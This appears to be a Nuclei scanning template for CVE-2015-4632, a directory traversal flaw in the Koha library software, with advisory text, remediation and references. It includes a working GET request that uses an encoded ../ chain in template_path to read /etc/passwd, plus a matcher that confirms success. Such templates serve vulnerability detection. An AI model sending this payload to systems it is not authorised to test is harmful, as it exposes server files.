id: CVE-2015-4632 info: name: Koha 3.20.1 - Directory Traversal author: daffainfo severity: high description: Koha 3.14.x before 3.14.16, 3.16.x before 3.16.12, 3.18.x before 3.18.08, and 3.20.x before 3.20.1 allow remote attackers to read arbitrary files via a ..%2f (dot dot encoded slash) in the template_path parameter to (1) svc/virtualshelves/search or (2) svc/members/search. remediation: | Upgrade to a patched version of Koha or apply the necessary security patches to fix the directory traversal vulnerability. reference: - https://www.exploit-db.com/exploits/37388 - https://nvd.nist.gov/vuln/detail/CVE-2015-4632 - https://www.sba-research.org/2015/06/24/researchers-of-sba-research-found-several-critical-security-vulnerabilities-in-the-koha-library-software-via-combinatorial-testing/ - https://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14408 - https://koha-community.org/koha-3-14-16-released/ classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2015-4632 cwe-id: CWE-22 epss-score: 0.0282 epss-percentile: 0.89582 cpe: cpe:2.3:a:koha:koha:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: koha product: koha tags: cve,cve2015,lfi,edb http: - method: GET path: - "{{BaseURL}}/cgi-bin/koha/svc/virtualshelves/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4b0a00483046022100f66633991065e9be8271444a83807aeec56d59b71a36897fadfeb2a3cc2e734a022100d0715dc004bd57a512e6291e79d10052cf7156da451a99a6a9afaad0468ed7c2:922c64590222798bb761d5b6d8e72950